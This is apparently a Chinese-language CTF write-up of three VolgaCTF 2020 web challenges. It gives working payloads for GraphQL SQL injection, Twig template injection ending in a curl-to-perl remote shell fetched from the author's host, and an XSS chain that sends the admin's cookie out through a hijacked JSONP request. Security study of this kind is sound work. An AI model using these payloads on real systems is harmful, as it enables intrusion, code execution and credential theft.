VolgaCTF 2020 Qualifier: Library, Newsletter, User Center Write-up

這次一樣快速記錄 VolgaCTF 2020 Qualifier 的三道 Web 題目,因為沒有空而不能以 full time 模式來解題,所以只在抽空時間內來得及解出 3 題而已 QQ

Library - 150 分

這題一個簡單的登入、登出功能,登入後就可以看到有儲存書籍的列表。

其中背後查詢列表的 API 是透過 GraphQL 來查詢。

對於測試 GraphQL API 的起手式就是可以利用內建 Introspection 操作來請求取得所有 Query / Mutation 的 schema,嘗試找出隱藏、可以利用的 API。為了方便性,所以我使用 GraphQL CLI 這套工具來協助完成操作。

只要依照順序執行下面兩個指令,就能獲得目標上 GraphQL API 完整的 schema:

# 產生 .graphqlconfig 設定檔
$ graphql init  

# 取得 schema
$ graphql get-schema

而我取得的 schema 如下所示:

# source: http://library.q.2020.volgactf.ru:7781/api
# timestamp: Sat Mar 28 2020 20:23:14 GMT+0800 (GMT+08:00)

type Book {
  title: String!
  author: String!
  pic: String!
}

type LoginResponse {
  login: String
  name: String
  email: String
  token: String
}

input LoginUser {
  login: String
  password: String
}

type Mutation {
  _empty: String
  register(user: RegisterUser): String
}

type Query {
  _empty: String
  login(user: LoginUser): LoginResponse
  testGetUsersByFilter(filter: UserFilter): [User]
  books: [Book]
}

input RegisterUser {
  login: String
  password: String
  name: String
  email: String
}

type User {
  login: String
  name: String
  email: String
}

input UserFilter {
  login: String
  name: String
  email: String
}

其中發現一個有趣的 Query testGetUsersByFilter,這個 Query 可以利用 login、name、email 等三個欄位來查詢存在系統上的使用者,總而言之、言而總之,經過一番黑箱測試後我們發現有 SQL Injection XD,目標會刪除單引號字元,但可以用反斜線 \ 去把後方的單引號吃掉。

黑箱猜測會組成類似如下的 SQL:

SELECT * FROM users WHERE login = '$login' AND name = '$name'

所以讓 $login = meow\ 而 $name = union select 1,2,3,4,user(),6# 就可以組合出:

SELECT * FROM users WHERE login = 'meow\' AND name = 'union select 1,2,3,4,user(),6#'

就能利用 union 進行查詢以取得資料庫內容,而剩下的就是一些標準動作了。

最後取得 flag 的 Payload:

POST /api HTTP/1.1
Host: library.q.2020.volgactf.ru:7781
Accept: application/json
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://library.q.2020.volgactf.ru:7781/index.html
content-type: application/json
authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Indvb2ZAbWFpbGluYXRvci5jb20iLCJuYW1lIjoid29vZiIsImxvZ2luIjoid29vZiIsImlhdCI6MTU4NTQ4OTA2MywiZXhwIjoxNTg1NDkyNjYzfQ.D54N_s5LVyUp7LXLZrwimAoA0bDi6WKACTv3NbOEpT0
origin: http://library.q.2020.volgactf.ru:7781
Content-Length: 272
Connection: close

{
    "query":"query testGetUsersByFilter($input: UserFilter) {testGetUsersByFilter(filter: $input){login name email}}",
    "variables":{
        "input":{
            "login":"meow\\",
            "name":"union select 1,2,3,4,flag,6 from flag#"
        }
    }
}

Flag:VolgaCTF{EassY_GgraPhQl_T@@Sk_ek3k12kckgkdak}


Newsletter - 200 分

這題是 PHP 白箱題,有提供 Source Code 如下:

<?php
namespace App\Controller;

use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Mailer\MailerInterface;
use Symfony\Component\Mime\Email;

class MainController extends AbstractController
{
    public function index(Request $request)
    {
      return $this->render('main.twig');
    }

    public function subscribe(Request $request, MailerInterface $mailer)
    {
      $msg = '';
      $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
      if($email !== FALSE) {
        $name = substr($email, 0, strpos($email, '@'));

        $content = $this->get('twig')->createTemplate(
          "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
        )->render();

        $mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
        $mailer->send($mail);

        $msg = 'Success';
      } else {
        $msg = 'Invalid email';
      }
      return $this->render('main.twig', ['msg' => $msg]);
    }


    public function source()
    {
        return new Response('<pre>'.htmlspecialchars(file_get_contents(__FILE__)).'</pre>');
    }
}

從程式碼可以看到我們傳送過去 $email 變數會被取 @ 前方的字串指派給 $name,然後 $name 直接被帶入 Twig 的模板字串中並建立模板執行,所以這邊就有個 Twig 的 Server-Side Template Injection,但首先我們必須繞過 filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL) 這行的限制,必須是合法的 email 又包含模板語法。

而我的隊友在 Stack Overflow 上找到這篇文章:PHP FILTER_VALIDATE_EMAIL does not work correctly,底下回覆提供了頗為完整的合法 email 範例列表,其中可以看到一個很重要的範例:"()<>[]:,;@\\"!#$%&'*+-/=?^_``{}| ~.a"@example.org,這個範例告訴我們,如果 email 中的 username 包括一些特殊符號,只要使用雙引號 " 將 username 包夾起來,就會被視為一個合法的 email,所以我們能構造 "{{3*4}}"@a.a 這樣的 Payload 就能躲過 filter_var 的限制。

接著就是嘗試作 SSTI 的利用,如果直接上網 Google,通常都會找到這樣的 Payload:

PayloadsAllTheThings/Server Side Template Injection

{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

這個 Payload 是利用內建 _self 變數來取得 \Twig\Template 的實例來執行惡意函式作利用,但如果去查官網 Documentation 會發現這個變數早已被棄用,現在只會回傳一個字串代表當前模板名稱 QQ,所以我們必須尋找新的利用方式。

在 Twig 模板裡面支援 filter 語法,可以呼叫內建或自定義的 filter 函式在輸出變數時對變數值作格式化或其他處理,譬如:{{ "aa"|upper }} 可以將 aa 在輸出時變成 AA。

於是我就以字串 new TwigFilter( 搜尋程式碼裡所有內建的 filter 函式,其中發現一個非常有趣的函式:

new TwigFilter('map', 'twig_array_map')

function twig_array_map($array, $arrow)
{
    $r = [];
    foreach ($array as $k => $v) {
        $r[$k] = $arrow($v, $k);
    }

    return $r;
}

沒錯,直接把我們可控的變數 $arrow 當作函式名稱進行呼叫,恰好 $v 也是我們可以控制的變數,只要找到一個函式可以執行系統指令並允許傳遞第二個參數,就能 GetShell,這種函式也不少,例如 passthru ( string $command [, int &$return_var ] ) 就很符合我們的需求。

所以只要注入模板 {{ ['id']|map('passthru') }} 就能執行 id 系統指令,結合前面 email 的規則就能夠造出 "{{['id']|map('passthru')}}"@a.a 的 Payload,不過實測後發現就算使用雙引號包夾,只要有空白字元出現就會被判定為不合法的 email,好在只是用不了空白的 Command Injection 對 CTF 玩家來說並不是個問題。

最後成功 GetShell 的 Payload:

POST /subscribe HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://newsletter.q.2020.volgactf.ru/subscribe
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Connection: close
Upgrade-Insecure-Requests: 1

email="{{['curl${IFS}cyku.tw:8080|perl']|map('passthru')}}"@a.a

發現 flag 藏在 /etc/passwd 裡

Flag:VolgaCTF_6751602deea2a308ab611eeef7a4e961


User Center - 300 分

這道題目一樣有個註冊、登入功能,而右上角還有 Report Bug 的按鈕,題目敘述是「Steal admin's cookie!」,所以很清楚地說明了是 Cross-Site Scripting 題目。

官網主要功能都用 JavaScript 在前端實現,所以來看看前端完整的 js 程式碼(微長):

function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace('/profile.html');
      } else {
        profile(data.user);
      }
    });
  } else {
    $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
      if(!data.success) {
        location.replace('/login.html');
      } else {
        profile(data.user, true);
      }
    }).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
  }
}

function updateUser(user) {
  $.ajax({
    type: 'POST',
    url: `//${api}.volgactf-task.ru/user-update`,
    data: JSON.stringify(user),
    contentType: "application/json",
    dataType: 'json'
  }).done(function(data) {
    if(!data.success) {
      showError(data.error);
    } else {
      location.replace(`/profile.html`);
    }
  });
}

function logout() {
  $.get(`//${api}.volgactf-task.ru/logout`, function(data) {
    location.replace('/login.html');  
  });
}

function profile(user, edit) {
  if(!['/profile.html','/report.php','/editprofile.html'].includes(location.pathname))
    location.replace('/profile.html');
  $('#username').text(user.username);
  $('#username').val(user.username);
  $('#bio').text(user.bio);
  $('#bio').val(user.bio);
  $('#avatar').attr('src', `//static.volgactf-task.ru/${user.avatar}`);
  if(edit) {
    $('#editProfile').removeClass("d-none");
  }
  $('.nav-item .nav-link[href="/login.html"]').addClass("d-none");
  $('.nav-item .nav-link[href="/register.html"]').addClass("d-none");
  $('.nav-item .nav-link[href="/profile.html"]').removeClass("d-none");
  $('.nav-item .nav-link[href="/logout.html"]').removeClass("d-none");
}

function replaceForbiden(str) {
  return str.replace(/[ !"#$%&織()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}

function showError(error) {
   $('#error').removeClass("d-none").text(error);
}

$(document).ready(function() {
  api = 'api';
  if(Cookies.get('api_server')) {
    api = replaceForbiden(Cookies.get('api_server'));
  } else {
    Cookies.set('api_server', api, {secure: true});
  }

  $.ajaxSetup({
    xhrFields: {
      withCredentials: true
    }
  });

  $('#logForm').submit(function(event) {
    event.preventDefault();
    $.ajax({
      type: 'POST',
      url: `//${api}.volgactf-task.ru/login`,
      data: JSON.stringify({username: $('#username').val(), password: $('#password').val()}),
      contentType: "application/json",
      dataType: 'json'
    }).done(function(data) {
      if(!data.success) {
        showError(data.error);
      } else {
        location.replace(`/profile.html?guid=${data.guid}`);
      }
    });
  });

  $('#regForm').submit(function(event) {
    event.preventDefault();
    $.ajax({
      type: 'POST',
      url: `//${api}.volgactf-task.ru/register`,
      data: JSON.stringify({username: $('#username').val(), password: $('#password').val()}),
      contentType: "application/json",
      dataType: 'json'
    }).done(function(data) {
      if(!data.success) {
        showError(data.error);
      } else {
        location.replace(`/profile.html`);
      }
    });
  });

  $('#avatar').on('change',function(){
    $(this).next('.custom-file-label').text($(this).prop('files')[0].name);
  });

  $('#editForm').submit(function(event) {
    event.preventDefault();
    b64Avatar = '';
    mime = '';
    bio = $('#bio').val();
    avatar = $('#avatar').prop('files')[0];
    if(avatar) {
      reader = new FileReader();
      reader.readAsDataURL(avatar);
      reader.onload = function(e) {
        b64Avatar = reader.result.split(',')[1];
        mime = avatar.type;
        updateUser({avatar: b64Avatar, type: mime, bio: bio});
      }  
    } else {
      updateUser({bio: bio});
    }
  });

  params = new URLSearchParams(location.search);

  if(['/','/index.html','/profile.html','/report.php','/editprofile.html'].includes(location.pathname)) {
    getUser(params.get('guid'));
  }
  if(['/logout.html'].includes(location.pathname)) {
    logout();
  }
});

程式碼微長,但我們還是可以很快看到關鍵的幾個點,如果 cookie 中存在 api_server,就會取那個值當作 API server 的 subdomain,而後面呼叫 API server 的方法都是透過 jQuery.getJSON 這個函式,而這個函式有個特色是如果網址中含有類似 callback=? 的 pattern,會將 API 以 JSONP 的方式進行載入,所以只要我們控制 API server 指到我們的伺服器,回傳惡意的 JSONP 內容就能執行任意 JavaScript。

參考文件:jQuery.getJSON()#jsonp

api = 'api';
if(Cookies.get('api_server')) {
  api = replaceForbiden(Cookies.get('api_server'));
} else {
  Cookies.set('api_server', api, {secure: true});
}
  
function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace('/profile.html');
      } else {
        profile(data.user);
      }
    });
  } else {
    $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
      if(!data.success) {
        location.replace('/login.html');
      } else {
        profile(data.user, true);
      }
    }).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
  }
}

但我們該如何在目標 domain 下設置 api_server cookie 呢?這就要利用上傳大頭貼的功能,當我上傳一張大頭貼照片時,會發出如下的 API 請求,avatar 為 base64 encode 過的圖片二進位資料,type 則是取得圖片時會回應的 Content-Type,最後照片會上傳到 static 的 subdomain 下,例如:https://static.volgactf-task.ru/e991c08651233e7113263f83af8ca810

POST /user-update HTTP/1.1
Host: api.volgactf-task.ru
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://volgactf-task.ru/editprofile.html
Content-Type: application/json
Content-Length: 62
Origin: https://volgactf-task.ru
Cookie: PHPSESSID=vfl71tu5hvoepu7dd8pe89ce23
Connection: close

{"avatar":"SSBhbSBpbWFnZQ==","type":"image/jpeg","bio":"woof"}

那既然我們能控制回應的 Content-Type,就有機會在 static.volgactf-task.ru domain 下進行 XSS 攻擊。可是當我們嘗試修改 type 為 text/html 時出現錯誤「Forbidden MIME type」。

經過黑箱測試後,發現可以用 text/htm\rl 繞過檢查,於是我們就能得到 static.volgactf-task.ru domain 下的 XSS。

接下來就是考慮如何串回主目標的 volgactf-task.ru domain,有趣的事實是瀏覽器允許 subdomain 設定 parent domain 的 cookie,所以如果我們在 static.volgactf-task.ru 上執行下面一行 JavaScript,是可以成功對 volgactf-task.ru 設定一個 api_server 的 Cookie 值。

document.cookie = 'api_server=anything; domain=.volgactf-task.ru; path=/';

所以我們就可以劫持一開始所說的對 API server 發的請求,不過在取出 api_server cookie 之後還會對值作一些過濾,雖然不能用「/」、「#」等字元,但可以塞 Unicode 字元,在經過 replaceForbiden 處理後,像是「喵」的字元會變成「?」,配合 API url 組合的方式,只要寫入 api_server=cyku.tw喵 的 cookie,我們就可以讓目標對 //cyku.tw?.volgactf-task.ru/user 發出請求,只要再回應惡意的 JSONP 內容,就可以得到 volgactf-task.ru 下的 XSS 了。

function replaceForbiden(str) {
  return str.replace(/[ !"#$%&織()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}

api = replaceForbiden(Cookies.get('api_server'));

$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) { .. });

最終的一些 Payload

https://static.volgactf-task.ru/dc22aeee8535ae22cfbc8436362bd602

HTTP/1.1 200 OK
Server: nginx/1.16.1 (Ubuntu)
Date: Sun, 29 Mar 2020 16:01:04 GMT
Content-Type: text/html
Content-Length: 170
Connection: close
x-amz-id-2: lnjpjj+DN8MtESPMLchngoj5N26k9fp0vgNSbok8tzdFrmOxeeQZEcZp0E9UN3meoO0FJmxJx6c=
x-amz-request-id: 592B8F8A3A31F54F
Last-Modified: Sun, 29 Mar 2020 16:00:59 GMT
ETag: "f1f0b0742b543cfb93c8a175368ebdd7"
Accept-Ranges: bytes
X-Content-Type-Options: nosniff

<script>
document.cookie = 'api_server=poc.cyku.tw\u55B5; domain=.volgactf-task.ru; path=/';
document.location = 'https://volgactf-task.ru/profile.html?guid=?';
</script>

poc.cyku.tw

<?php
header('application/javascript');
header('Access-Control-Allow-Origin: *');
?>

(new Image).src = '//poc.cyku.tw/?flag=' + document.cookie;

最後在 Report Bug 送出連結後,就能在 access.log 收到 flag

134.209.205.157 - - [28/Mar/2020:06:38:20 +0000] "GET /?flag=flag=VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16;%20api_server=poc.cyku.tw%E5%96%B5 HTTP/2.0" 200 81 "https://volgactf-task.ru/profile.html?guid=?" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0" "-"

Flag:VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16